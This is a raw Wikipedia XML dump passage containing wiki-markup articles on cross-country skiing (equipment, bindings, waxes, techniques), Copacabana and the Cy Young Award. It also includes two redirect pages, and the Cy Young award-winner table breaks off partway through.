[[Image:Finnish Soldiers Skiing.jpg|thumb|right|200px|[[Finnish people|Finnish]] [[soldier|soldiers]] on skis. Like most of the other [[Fennoscandinavia|Fennoscandinavian]] armies, virtually every [[infantry]] soldier is given ski training in the [[Finnish army]].]]

Cross-country skiing is part of the [[Nordic skiing]] sport family, which also includes [[ski jumping]], and a combination sport of cross-country skiing and ski jumping called [[Nordic combined]]. Free-technique cross-country skiing is also the method of [[locomotion]] in the combination sport of [[Biathlon]], which adds [[marksmanship|rifle marksmanship]] to skiing. 

As a hobby, cross-country skiing may be viewed as a kind of &quot;[[bushwalking]] on [[ski]]s&quot;, where skiers tackle trails of various lengths and difficulties. Some skiers stay out for extended periods using [[tent]]s and equipment similar to bushwalkers/hikers, whereas others take relatively short trips from ski resorts on maintained trails.

As a [[sport]], cross-country skiing is one of the most difficult endurance sports, as its motions use every major [[muscle]] group and it (along with rowing and swimming) is one of the sports that burn the most calories per hour in execution. Modern cross-country ski competition is experiencing a revolution that is resulting in greater compatibility with audiences which began with the addition of the Sprint event to the [[Cross-country skiing World Cup medalists|World Cup]] and [[Olympic Games|Olympic]] competitions. Today more and more races are being held in audience friendly formats, such as mass start, sprint, relay and pursuit (a race that involves switching skis and styles halfway through the race). The modern events in which athletes compete in at the World Cup and Olympics are (distances presented in Female/Male format): 1km Sprint, 2X1km Team Sprint, 10km/15km Individual Start, 15km/30km Pursuit, 30km/50km Mass Start and the 4x5km/4x10km Relay.

==Sports events==

Today, there are several types of cross-country competitive events, involving [[racing|races]] of various types and lengths, as well as [[biathlon]], involving a combination of cross-country skiing and target shooting with a [[rifle]].

[[Image:Cross-country skiing Schwedentritt.jpg|thumb|300px|Cross-country skiing (skating style) in [[Einsiedeln, Switzerland]].]]
The [[Winter Olympics]], the [[International Ski Federation|FIS]] World Championships and the FIS World Cup events have long been a [[showcase]] for the world's fastest cross country skiers. There are also special distance ski races, sometimes called [[Worldloppet Ski Federation|ski marathon]]s, like [[Vasaloppet]] in [[Sweden]] and [[Birkebeinerrennet]] in Norway. The skiing styles in these races might be fixed, or, in case of the so-called &quot;double pursuit&quot; event, the two styles are used each in their own separate half of the race (with a change of equipment in &quot;pit stops&quot; half way through).

*[[Olympic medalists in cross-country skiing|XC skiing at the Winter Olympics]]
*[[Nordic skiing World Championships|Nordic skiing World Championships (including XC skiing)]]
*[[Cross-country skiing World Cup medalists|XC skiing World Cup]] (weekly races throughout the winter seasons)

==History==

[[Image:Skiing kananaskis 018.jpg|thumb|200px|right|Recreational skiing in [[Kananaskis Country]], [[Alberta]].]]
Cross-country skiing originated in [[Scandinavia]]n countries in [[prehistory|prehistoric]] times. It may have also been practiced by [[Indigenous peoples of the Americas|Native Americans]] for similar lengths of time, although the [[Norway|Norwegian]] emigrants [[Snowshoe Thompson]] and [[Jackrabbit Johannsen]] are widely credited for introducing the sport to [[North America]].

This form of skiing has been used by [[explorer|explorers]] by means of [[transport]], and all Scandinavian armies have ski-trained infantry for [[winter]] operations. Traditionally, all of the equipment was made of natural materials: [[wood|wooden]] skis and [[bamboo]] poles with [[leather]] hand straps. [[Footwear]] was usually sturdy leather [[boot|boots]] with thick soles. Bindings evolved from simple straps made of twisted wood-based thread, to the so-called [[Kandahar binding]] with the fastening of both the boot’s front and back, to the ‘Rat Trap’ front-only binding, which is today known as the ''Nordic norm'', and has evolved in various modern bindings.

==Equipment: Skis and poles==

The [[ski]]s are long and thin, to distribute the [[weight]] of the skier and allow the skier to move quickly. Typical ski dimensions are 2 [[metre]]s in length, about 5 [[centimetre]]s in width and one to four centimetres in thickness, depending on the ski brand and which point of the ski is measured. Depending on the ski design and purpose, they are fit to the skier based on height or weight.

Like [[downhill skiing]], cross-country skiers carry two [[Ski pole|pole]]s, usually made of [[aluminium]] or [[Glass-reinforced plastic|fiberglass]]. More expensive poles are made of [[Graphite_reinforced_plastic|graphite or carbon fiber]] or some other strong but lightweight material. Poles have a [[spike]] at the end to provide a fixed [[pivot]] when the pole penetrates through to a hard surface, and a [[plastic]] web or disc (called the ''basket''), to provide extra purchase in snow and to ensure the pole doesn't sink too deeply. 

The toe of the skier's [[ski boots|footwear]] is attached to the ski with a [[Ski binding|binding]], while the heel remains free.

Equipment differs according to skiing technique. Skating or freestyle poles are usually longer than those used for the classic technique. Typically, skating poles should be long enough to reach the skier's [[chin]] or as far as the [[eyebrow]]s, depending on the skier's preference. In contrast, classic ski poles should reach the skier's [[armpit]], similar to the fit of an [[crutch|axillary crutch]]..

==Equipment: Bindings/boots==

Three different binding systems are used in modern cross-country skiing:
*NNN (New Nordic Norm) &amp;ndash; including the new R4 NIS variant
*SNS (Salomon Nordic System) Profil
*SNS&amp;nbsp;&amp;nbsp;Pilot

Older styled three-pin bindings (Nordic Norm) , with or without cables, are still used by backcountry and Telemarking enthusiasts.

===NNN===
[[NNN|New Nordic Norm]] (NNN) bindings, made by Rottefella, Rossignol, and Atomic, can range from BC (Backcountry) to the R3 Skate and R3 Classic to the NNN R4 NIS, which require a special plate on the skis to be mounted.  Boots compatible with these bindings are made by [[Alpina Sports]], [[Atomic Skis]] and [[Rossignol]]. The R3 and R4 are generally the choice for World Cup Racers using NNN.  These are distinguished from SNS (Salomon and Fischer) bindings in that all bindings in the NNN system have two ridges that stick out from the bottom of the binding, with corresponding slots in NNN boots.  NNN is said to have better steering than Salomon because these two grooves better distribute the weight, rather than SNS's (both Profil and Pilot) single larger &quot;bar&quot; sticking up from the binding that fits into a slot in the boot. NNN has also been proven to be lighter than SNS bindings.  Despite this, the majority of World Cup level skiers ski on the SNS binding system, but that doesn't make one better than the other.  Differences between the NNN and SNS binding systems are miniscule to the average skier, and only comes down to personal preference in the ski boot used.

The ''R4 NIS'' binding, made by [[Rottefella]] and [[Rossignol]], is the top of the line NNN binding. These bindings are compatible with any NNN boot, but can only be used on Rossignol X-IUM or Madshus Hypersonic Skis&amp;mdash;the companies' high-end pro racing skis. Madshus is part of the Rottefella/Madshus/Alpina partnership, and that is the reason for Madshus skis having NIS bindings. The reason for only two different skis being able to use these bindings is that NIS bindings require a special plate only available on these skis. The interesting thing about these bindings is that the rear part can be pivoted back and forth on the plate to match the boots' length, therefore making better power transfer between the boots and the skis. The NIS bindings made their debut to the general public in 2005.

===SNS Profil===
Salomon Nordic System (SNS) bindings, made by Salomon and Fischer, however, have their advantages too.  Boots that are compatible with the SNS Profil system are made by Salomon, Fischer, Adidas, and Hartjes.  SNS Profil bindings are used for both Skating and Classic. As opposed to the SNS Pilot's two axes, these boots have only one axis at the front of the sole. Pilots are used by many different racers on the World Cup Circuit. Profil bindings are the standard binding for SNS users, its only competition being the SNS Pilot system. Profil comes in &quot;Equipe&quot; models for racing, &quot;Active&quot; for recreational racing/combination, Auto Touring, and Back Country.

===SNS Pilot===
SNS Pilot bindings, compatible with Salomon, Fischer, Adidas and Hartjes boots, are only used for Skate Skiing.  The idea for these bindings came from [[Bjørn Dæhlie]].  Pilots are used mostly by elite skiers at the Collegiate/Olympians/World Cup/National level, although it is common to find High School/Citizen Racers with these bindings and their counterpart boots.  Pilots are more expensive than Profils at about 100 dollars for a pair, and can only be used for Skating because there are two axes. In Pilot boots, the two axes, one positioned about 1&quot; behind the other, click into two different slots in the Pilot binding. Profil boots only have one axis and therefore, cannot fit into Pilot bindings. However, Pilot boots can fit into any Profil bindings, due to a small space behind the front of the boot for the other axis.  Pilots can't be used for Classic because Classic boots need to be able to flex in all directions so that a good &quot;kick&quot; can be achieved. Pilots do not have the kind of flex required for Classic, but they have proven themselves as good Skate bindings due to reduced ski motion in the air.

==Waxes==
:''Main article: [[Ski wax]]''

There are a wide variety of waxes for Nordic Skiing. The waxes can be classified into three main categories: ''glide waxes'', ''kick waxes'', and ''klisters''.

=== Glide wax ===
Glide waxes are used to make a ski glide faster, and are applied by ironing onto the ski. Glide waxes range widely in price, depending on quality; racing waxes can be very expensive, over $200 per pair at the national level. They are generally in the form of blocks, though they can be found as powders or liquids. Glide waxes are applied outside the kick zone of classic skis, or to the full length of skate skis. They are the only type of wax used on skating skis.

=== Kick wax ===
The purpose of kick wax is to provide grip on snow when weight is transferred on a ski; they are used on classic skis only. Kick waxes are applied in the ''kick zone'' of classic skis if the ski is not a fish-scale, waxless ski.

Kick waxes are classified according to their hardness: harder waxes are for colder and newer snow. Using a wax that is too hard will not give sufficient grip, while wax that is too soft will cause the formation of an [[ice]] [[sole]] that slows the skier down. It is not uncommon to apply a new layer of wax if the weather changes, or when moving in altitude.

Difficulty of choosing correct kick waxes to different conditions is nowadays greatly reduced by grip wax tapes, which have a wide temperature range, and are easily applied to the ski bottom. Although these are not used by competitors, who prefer the optimum waxing, they have proven to be quite suitable for fitness and recreational purposes. Many high-level competitive teams have '''ski tuners''' whose job is to apply the ideal wax combinations for the conditions. 

Kick waxes generate grip by penetrating into the snowflakes when the skier puts his weight on the ski. Colder snowflakes are harder, and so is newly fallen snow. The most appropriate wax is the one that is soft enough to generate grip, but also hard enough not to accumulate snow and create a sole.

Waxes are usually colour-coded by usage temperature: the most common are red for above 0˚C, and blue for below. There are many other colours for more specific temperature ranges, for instance violet for around 0˚C, green for below -10˚C, and white for below -15˚C. The snow-temperature range given by the producer must be taken with a grain of salt, since new snow will require a harder wax.

Guessing the right hardness can be quite difficult, and the varying condition of the snow can make the right choice wrong after a few hundred metres. Furthermore, the snow in the beaten track is usually much different from the one immediately surrounding it, and works best with a softer wax. If skis are poorly tuned, sometimes the skier can solve thin snow soles caused by a soft wax by beating the ski on the track after kicking; the opposite problem may be handled by skating.

=== Klister ===
As the snow becomes older and snow flakes lose their sharpness, in case of re-freezing or of water, kick wax cannot provide any more grip, and it becomes useless. One must therefore resort to ''klister'', which is basically a glue-like paste (&quot;klister&quot; actually means &quot;glue&quot; across all the three [[Scandinavia]]n countries). Klister is discouraging for amateurs, as it is very sticky, it is easy to apply but very difficult to remove.

Professionals often maintain that klister is best applied with the palm of the hand, the hand can be cleaned by placing it in a glove and waiting while the klister is mysteriously removed; amateurs often resort to some object of the appropriate size. Since klister is an organic chemical, a non-polar [[solvent]] (such as [[gasoline]]) or a [[soap]] is necessary to remove it. Stores often sell purpose-made solvent to clean skis. These should be used with care, as they are both [[flame|flammable]] and [[toxicity|toxic]] if inhaled.

Klister is also colour-coded, with red klister for wet snow and blue klister for icy snow.

=== Waxless skis ===
In recent years, waxless skies have carved a niche in the market among casual skiers. Waxless skis have a [[fish]] [[scale (zoology)|scale]], cross-hatched or ridged pattern in the kick zone to provide grip. A waxless ski is inferior to a finely tuned waxed ski, but does not require the sometimes time-consuming and sometimes costly selection and application of kick wax or klister. However, they do require a [http://www.snocountry.com/article.php/20041227133240622 glide wax] to keep them sliding smoothly and protecting the surface from dirt and ice build-up. There are specialty liquid wax products on the market manufactured for this purpose; standard wax should never be applied to waxless skis due to extreme difficulty in later removing it from the grooved or notched kick zone. 

Waxless skis are better suited to recreational skiers who simply want to get out on the trail with minimal time spent on maintenance, as they generally produce too much drag for competitive skiers.

==Styles==

There are three main styles used in cross-country skiing.  Specially adapted equipment is available to suit each.

The Classic style was the first technique that was used and although not the fastest (in the same way as the breaststroke swimming technique) it is still used today by many, especially beginners, as it tends to be the easiest to learn.  However, this technique takes many years to perfect. 

The skating style, developed as a result of racing and is harder to learn but once mastered the skiers can travel much faster. Skating can also be mastered faster than classic. 

Telemarking is a style used to go down hill on cross country skis, generally while [[backcountry skiing]]. Usually the skiers will use the classic style for going up the hill and telemarking to ski down steep downhills.

===Classic===

The classic style is often used on prepared trails (pistes) that have pairs of parallel grooves cut into the snow.

Skis have [[camber]] and should leave the centre section of the ski clear of the snow when the skiers weight is evenly distributed between the pair. The centre section of a classic ski will either have &quot;fish scales&quot;, or [[ski wax]] that will stick to the snow (called the &quot;kick zone&quot; or &quot;grip zone&quot; of the ski). When full weight is transferred to a single ski the kick zone comes into contact with the snow. Glide wax is used on the tails and tips of the skis.

Long, narrow and light skis are usually used. When skiing away from prepared trails, a much wider ski is usually used.  In flat regions, such as parts of [[Finland]], skis exceeding 3 or 4 m in length are sometimes used.

There are four core techniques: herringbone, diagonal stride, double pole with kick, and double pole.
* ''Herringbone:'' This technique is used for climbing steep hills. A walking or running action with splayed skis and without any glide. The poles are planted alternately behind the skis. A distinctive herringbone pattern is left in the snow. 

* ''Diagonal stride:'' An exaggerated running action with parallel skis and a glide on each stride. The poles are planted alternately on the opposite side to the kick. For experienced skiers this technique is used uphill. Less experienced skiers also employ the diagonal stride on the flat.

* ''Double pole with kick:'' Both poles are planted simultaneously to give a powerful thrust. As the poles swing forwards again  a single leg kick is made.  This technique is used when the skier is still moving too quickly to diagonal stride, but is having difficulty double poling (typically on slight uphills or at the bottom of a long hill, just before switching to diagonal stride).

* ''Double pole:'' As above but without the kick. During some long races, in reasonably flat terrain, competitors double pole for the majority of the course (an example of this is the Swedish [[Vasaloppet]]).

On downhill slopes a tucked position (''hocke'', from the German word) is assumed, in a similar manner to [[downhill skiing]].

===Free/Skating===
[[Image:Skipcxc.JPG|thumb|200px|right|Skiing by free technique/skating.]]
Skate skiing{{ref|freestyle}} involves the skier pushing one ski outward with the [[ski]] angled, so that the inner edge of the ski is driven against the snow, much like an [[ice skating|ice skater]]. As in classic skiing, transfering weight completely from one ski to the next is essential to learning to skate.  Those who have learned to ice skate or rollerblade may find ski skating technique easier to learn than classic skiing.

Skate skiing can be done either with skis specifically designed for skating or 'combi' skis for both skating and classic. Similarily, specialized skating boots or combi boots can be used. Skate skis tend to be shorter and stiffer than those used in classical technique, and poles longer. Neither  fish scale skis nor grip wax are used. 

Like gears on a bicycle, skating has different techniques for different terrain and speeds. Confusingly there is no internationally accepted naming convention for these techniques:

* ''Gear 1'' (aka Diagonal V, Single-poling or Coaches Skate): Similar to the classic herringbone but with a short glide on each ski. Used for climbing steep hills. 
* ''Gear 2'' (V1, Offset Skate): Slightly off-set double-pole on every other leg. Used for hill climbing.
* ''Gear 3'' (V2, 1-skate): Double-pole on every leg. Used on the flat or uphill.
* ''Gear 4'' (V2 alternate, Open Field Skate, 2-skate): Double-pole on every other leg. Used on the flat or downhill. 
* ''Gear 5'' (V Skating): Skating without using the poles. Used downhill.
 
Skating technique is only really suitable for use on prepared trails (pistes) or firm, smooth snow. It can also be done on snow crust and frozen snow-covered lakes or rivers.  

Skating is faster and a more intense exercise than classic skiing, except in extremely cold conditions where classic skiing may approach skating in speed.  Adoption of the skating technique varies from country to country. In some countries the majority of non-professional racers now skate, although top skiers continue to learn and train in both styles. 

The distinction between classic technique and free technique is made in competition i.e. a race will be designated as classic or free.{{ref|double-pursuit}} In the case of the former only those propulsion techniques that are considered 'classic' are allowed whereas in the latter the competitors are free to use any technique although the majority of competitors will opt to skate. This is a direct parallel to the world of competitive swimming where in a freestyle race competitors can use any technique but will normally use the Australian crawl stroke. Large races will often have both skate and classic divisions and award prizes in both categories.

===Telemark===
:''Main article: [[Telemark skiing]]''

The Telemark technique is particularly suited to [[backcountry skiing]] (off piste cross-country skiing).  While first and foremost it is a technique for descending, for those with dedicated equipment it is effectively a separate branch of skiing that takes place in the backcountry (off piste).

==Summer skiing==
[[Roller skiing]] is a summer cross-country skiing alternative, though used mostly for training. [[Glaciers]] provide year round skiing in many countries such as [[Norway]] and [http://www.snowawards.co.uk/Glacier+Skiing Canada]. [[Finland]] has pioneered the building of ski tunnels. Tunnels are now being constructed in a number of other venues including [[Torsby]] in [[Sweden]].

==Notes==
# {{note|freestyle}} The free technique in XC skiing is not to be confused with [[freestyle skiing|freestyle]], which describes ski sport where the competitors compete over a mogul course and by performing aerial gymnastics such as spins after launching from a short ramp in the snow.
# {{note|double-pursuit}} Recent developments in the sport include &quot;double pursuit&quot; races where the competitors complete the first part of the event using the classic technique and the second part using the free technique.

==See also== 
*[[Skiing]]
*[[Ski touring]]
*[[Hazards of outdoor activities]]

==External links==
{{commons|Category:Cross-country skiing}}
*[http://www.fis-ski.com/uk/disciplines/cross-country.html FIS-Ski cross-country skiing portal] &amp;ndash; Featuring the latest results, ongoing and upcoming events, and World Cup standings
*[http://www.swixschool.no/ SWIX school] &amp;ndash; Ski wax and ski pole producer SWIX's guide to ski waxing
*[http://www.cccski.com/ Cross Country Canada] &amp;ndash; Canada's cross country skiing program
*[http://www.usolympicteam.com/21.htm#sport11859 '''2006 U.S. Olympic Ski Team bios'''] ... including cross country

[[Category:Cross-country skiing|*]]

[[ca:Esquí de fons]]
[[de:Skilanglauf]]
[[es:Esquí de fondo o nórdico]]
[[et:Murdmaasuusatamine]]
[[fi:Maastohiihto]]
[[fr:Ski de fond]]
[[he:סקי למרחקים]]
[[it:Sci di fondo]]
[[ja:クロスカントリースキー]]
[[nl:Langlaufen]]
[[nb:Langrenn]]
[[nn:Langrenn]]
[[pl:Biegi narciarskie]]
[[ro:Schi fond]]
[[sv:Längdåkning]]
[[zh:越野滑雪]]</text>
    </revision>
  </page>
  <page>
    <title>Centrohelids</title>
    <id>6722</id>
    <revision>
      <id>15904843</id>
      <timestamp>2002-07-16T17:57:30Z</timestamp>
      <contributor>
        <username>Josh Grosse</username>
        <id>517</id>
      </contributor>
      <minor />
      <comment>*</comment>
      <text xml:space="preserve">#REDIRECT [[Centrohelid]]</text>
    </revision>
  </page>
  <page>
    <title>Carolingians</title>
    <id>6723</id>
    <revision>
      <id>15904844</id>
      <timestamp>2002-09-19T14:12:21Z</timestamp>
      <contributor>
        <username>The Epopt</username>
        <id>30</id>
      </contributor>
      <comment>#REDIRECT [[Carolingian]]</comment>
      <text xml:space="preserve">#REDIRECT [[Carolingian]]</text>
    </revision>
  </page>
  <page>
    <title>Copacabana</title>
    <id>6724</id>
    <revision>
      <id>40861498</id>
      <timestamp>2006-02-23T14:16:16Z</timestamp>
      <contributor>
        <username>Abu badali</username>
        <id>56263</id>
      </contributor>
      <minor />
      <comment>rv to rm linkapm</comment>
      <text xml:space="preserve">[[Image:Visao Aerea Copacabana.jpg|thumb|250px|Aerial view of Copacabana]]
{{otheruses}}
'''Copacabana''' is a district located in the southern zone of the city [[Rio de Janeiro]], famous for its 4 [[kilometre|km]] [[beach]].

The district was originally called ''Sacopenapã'' until the mid-[[18th century]]. It was renamed after the construction of a chapel holding a replica of the Virgin of [[Copacabana, Bolivia]]. It was incorporated into the city on [[July 6]] [[1892]].

Copacabana starts at the beginning of the Princesa Isabel Avenue, and ends at Posto Seis (lifeguard watchtower six) near the ''Forte de Copacabana'' (Stronghold of Copacabana). After Copacabana there is the small [[Arpoador]] beach, followed by the famous borough of [[Ipanema]], and then the borough of [[Leblon]].  The Copacabana beach stretches from Posto Dois (lifeguard watchtower two) to Posto Seis (lifeguard watchtower six). [[Leme]] is at Posto Um (lifeguard watchtower one).

There are two [[Rio de Janeiro Metro|Metro]] stations, at Siqueira Campos and Cardeal Arcoverde, for underground transport to the rest of the city.

==Character==
[[Rio de Janeiro]] must have truly been breathtaking when the Portuguese arrived hundreds of years ago. The hills that rise behind Copacabana and Ipanema are luxurious and green, and wide beaches with islands are dotted around the harbour. The reality is that Copacabana is home to 400,000 people making it one of the most congested neighbourhoods in the world.

The promenade is dotted with expensive hotels, restaurants, bars, night clubs and residential buildings.

[[Image:Hotel copacabana palace.jpg|thumb|250px|left|Copacabana Palace hotel]]

==External links==
* [http://copacabana.com/copahis1.shtml History of Copacabana (in Portuguese)]
* [http://copacabana.com/en/copahis1-i.shtml History of Copacabana (in English)]
* [http://www.gringoguides.com/brazil.shtml Guide to being a Gringo in Rio de Janeiro] - A look at how Brazilians see tourists in Copacabana.

[[Category:Rio de Janeiro neighborhoods]]
[[Category:Beaches of Brazil]]

[[de:Copacabana (Rio de Janeiro)]]
[[fr:Copacabana]]
[[no:Copacabana]]
[[pt:Copacabana]]
[[fi:Copacabana]]</text>
    </revision>
  </page>
  <page>
    <title>Cy Young Award</title>
    <id>6725</id>
    <revision>
      <id>39849541</id>
      <timestamp>2006-02-16T07:23:23Z</timestamp>
      <contributor>
        <username>TMC1982</username>
        <id>96890</id>
      </contributor>
      <comment>/* National League (1967-present) */</comment>
      <text xml:space="preserve">In [[baseball]], the '''Cy Young Award''' is an honor given annually to the best [[pitcher]]s in the [[Major League Baseball|Major Leagues]].  The award was first introduced in [[1956 in baseball|1956]] by Commissioner [[Ford Frick]] in honor of [[Baseball Hall of Fame|Hall of Fame]] pitcher [[Cy Young]] who passed away in [[1955 in baseball|1955]].  The award was originally given to the single best pitcher in the major leagues. In [[1967 in baseball|1967]], the year after Frick retired as Commissioner, the practice began of honoring one pitcher in each league.

The award is voted on by 28 members of the [[Baseball Writers Association of America]].  Each places a vote for first, second, and third place among the pitchers of each league.  The [[formula]] used to calculate the final scores is a weighted sum of the votes: &lt;tt&gt;Score = 5F + 3S + T&lt;/tt&gt;, where ''F'' is the number of first place votes, ''S'' is second place votes, and ''T'' is third place votes.  The pitcher with the highest score in each league wins the award. If two pitchers receive the same number of votes the award is shared.

The current formula started with the [[1970 in baseball|1970]] season.  Prior to that, writers only voted for the best pitcher and used a formula of one point per vote.

== Controversy ==
The Cy Young Award has become a hotly debated topic between baseball traditionalists and baseball &quot;stat-heads&quot;. The stat-heads argue that the Cy Young Award is essentially given to the pitcher with the most wins, rather than for the statistics that a pitcher is entirely responsible for, such as [[ERA]], [[WHIP]], and [[Strikeout-to-walk ratio|K/BB]] ratio. The traditionalists, on the other hand, point out that the win is a valid way to determine a pitcher's effectiveness in leading a team. Thus, the Cy Young Award is not entirely one-sided, as in many occasions the pitcher leading the league in wins is not the honored individual, but the most dominant player on a playoff caliber team.

__NOTOC__

==List of Cy Young Award winners==
=== Major Leagues Combined (1956-1966) ===

&lt;table border=&quot;0&quot; cellspacing=&quot;3&quot; cellpadding=&quot;3&quot; width=&quot;550&quot;&gt;
&lt;tr style=&quot;background: #e3e3e3;&quot;&gt;
&lt;th align=left&gt;Year&lt;/th&gt;&lt;th align=left&gt;Pitcher&lt;/th&gt;&lt;th align=left&gt;Team&lt;/th&gt;
&lt;th&gt;Record&lt;/th&gt;&lt;th&gt;Saves&lt;/th&gt;&lt;th&gt;ERA&lt;/th&gt;&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;[[1956 in baseball|1956]]&lt;/td&gt;
&lt;td&gt;[[Don Newcombe]]&lt;/td&gt;
&lt;td&gt;[[Los Angeles Dodgers|Brooklyn Dodgers]] (NL)&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;27-7&lt;/td&gt;&lt;td align=&quot;center&quot;&gt;0&lt;/td&gt;&lt;td align=&quot;center&quot;&gt;3.06&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background: #e3e3e3;&quot;&gt;
&lt;td&gt;[[1957 in baseball|1957]]&lt;/td&gt;
&lt;td&gt;[[Warren Spahn]]&lt;/td&gt;
&lt;td&gt;[[Atlanta Braves|Milwaukee Braves]] (NL)&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;21-11&lt;/td&gt;&lt;td align=&quot;center&quot;&gt;3&lt;/td&gt;&lt;td align=&quot;center&quot;&gt;2.69&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;[[1958 in baseball|1958]]&lt;/td&gt;
&lt;td&gt;[[Bob Turley]]&lt;/td&gt;
&lt;td&gt;[[New York Yankees]] (AL)&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;21-7&lt;/td&gt;&lt;td align=&quot;center&quot;&gt;1&lt;/td&gt;&lt;td align=&quot;center&quot;&gt;2.97&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background: #e3e3e3;&quot;&gt;
&lt;td&gt;[[1959 in baseball|1959]]&lt;/td&gt;
&lt;td&gt;[[Early Wynn]]&lt;/td&gt;
&lt;td&gt;[[Chicago White Sox]] (AL)&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;22-10&lt;/td&gt;&lt;td align=&quot;center&quot;&gt;0&lt;/td&gt;&lt;td align=&quot;center&quot;&gt;3.17&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;[[1960 in baseball|1960]]&lt;/td&gt;
&lt;td&gt;[[Vern Law]]&lt;/td&gt;
&lt;td&gt;[[Pittsburgh Pirates]] (NL)&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;20-9&lt;/td&gt;&lt;td align=&quot;center&quot;&gt;0&lt;/td&gt;&lt;td align=&quot;center&quot;&gt;3.08&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background: #e3e3e3;&quot;&gt;
&lt;td&gt;[[1961 in baseball|1961]]&lt;/td&gt;
&lt;td&gt;[[Whitey Ford]]&lt;/td&gt;
&lt;td&gt;[[New York Yankees]] (AL)&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;25-4&lt;/td&gt;&lt;td align=&quot;center&quot;&gt;0&lt;/td&gt;&lt;td align=&quot;center&quot;&gt;3.21&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;[[1962 in baseball|1962]]&lt;/td&gt;
&lt;td&gt;[[Don Drysdale]]&lt;/td&gt;
&lt;td&gt;[[Los Angeles Dodgers]] (NL)&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;25-9&lt;/td&gt;&lt;td align=&quot;center&quot;&gt;1&lt;/td&gt;&lt;td align=&quot;center&quot;&gt;2.84&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background: #e3e3e3;&quot;&gt;
&lt;td&gt;[[1963 in baseball|1963]]&lt;/td&gt;
&lt;td&gt;[[Sandy Koufax]]*&lt;/td&gt;
&lt;td&gt;[[Los Angeles Dodgers]] (NL)&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;25-5&lt;/td&gt;&lt;td align=&quot;center&quot;&gt;0&lt;/td&gt;&lt;td align=&quot;center&quot;&gt;1.88&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;[[1964 in baseball|1964]]&lt;/td&gt;
&lt;td&gt;[[Dean Chance]]&lt;/td&gt;
&lt;td&gt;[[Los Angeles Angels of Anaheim|Los Angeles Angels]] (AL)&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;20-9&lt;/td&gt;&lt;td align=&quot;center&quot;&gt;4&lt;/td&gt;&lt;td align=&quot;center&quot;&gt;1.65&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background: #e3e3e3;&quot;&gt;
&lt;td&gt;[[1965 in baseball|1965]]&lt;/td&gt;
&lt;td&gt;[[Sandy Koufax]]*&lt;/td&gt;
&lt;td&gt;[[Los Angeles Dodgers]] (NL)&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;26-8&lt;/td&gt;&lt;td align=&quot;center&quot;&gt;2&lt;/td&gt;&lt;td align=&quot;center&quot;&gt;2.04&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;[[1966 in baseball|1966]]&lt;/td&gt;
&lt;td&gt;[[Sandy Koufax]]*&lt;/td&gt;
&lt;td&gt;[[Los Angeles Dodgers]] (NL)&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;27-9&lt;/td&gt;&lt;td align=&quot;center&quot;&gt;0&lt;/td&gt;&lt;td align=&quot;center&quot;&gt;1.73&lt;/td&gt;
&lt;/tr&gt;
&lt;/table&gt;

=== American League (1967-present) ===

&lt;table border=&quot;0&quot; cellspacing=&quot;3&quot; cellpadding=&quot;3&quot; width=&quot;550&quot;&gt;
&lt;tr style=&quot;background: #e3e3e3;&quot;&gt;
&lt;th align=left&gt;Year&lt;/th&gt;&lt;th align=left&gt;Pitcher&lt;/th&gt;&lt;th align=left&gt;Team&lt;/th&gt;
&lt;th&gt;Record&lt;/th&gt;&lt;th&gt;Saves&lt;/th&gt;&lt;th&gt;ERA&lt;/th&gt;&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;[[1967 in baseball|1967]]&lt;/td&gt;
&lt;td&gt;[[Jim Lonborg]]&lt;/td&gt;
&lt;td&gt;[[Boston Red Sox]]&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;22-9&lt;/td&gt;&lt;td align=&quot;center&quot;&gt;0&lt;/td&gt;&lt;td align=&quot;center&quot;&gt;3.16&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background: #e3e3e3;&quot;&gt;
&lt;td&gt;[[1968 in baseball|1968]]&lt;/td&gt;
&lt;td&gt;[[Denny McLain]]*&lt;/td&gt;
&lt;td&gt;[[Detroit Tigers]]&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;31-6&lt;/td&gt;&lt;td align=&quot;center&quot;&gt;0&lt;/td&gt;&lt;td align=&quot;center&quot;&gt;1.96&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;[[1969 in baseball|1969]]&lt;/td&gt;
&lt;td&gt;[[Mike Cuellar]]&lt;br&gt;[[Denny McLain]]&lt;/td&gt;
&lt;td&gt;[[Baltimore Orioles]]&lt;br&gt;[[Detroit Tigers]]&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;23-11&lt;br&gt;24-9&lt;/td&gt;&lt;td align=&quot;center&quot;&gt;0&lt;br&gt;0&lt;/td&gt;&lt;td align=&quot;center&quot;&gt;2.38&lt;br&gt;2.80&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background: #e3e3e3;&quot;&gt;
&lt;td&gt;[[1970 in baseball|1970]]&lt;/td&gt;
&lt;td&gt;[[Jim Perry (baseball)|Jim Perry]]&lt;/td&gt;
&lt;td&gt;[[Minnesota Twins]]&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;24-12&lt;/td&gt;&lt;td align=&quot;center&quot;&gt;0&lt;/td&gt;&lt;td align=&quot;center&quot;&gt;3.04&lt;/td&gt;
&lt;/tr&gt;
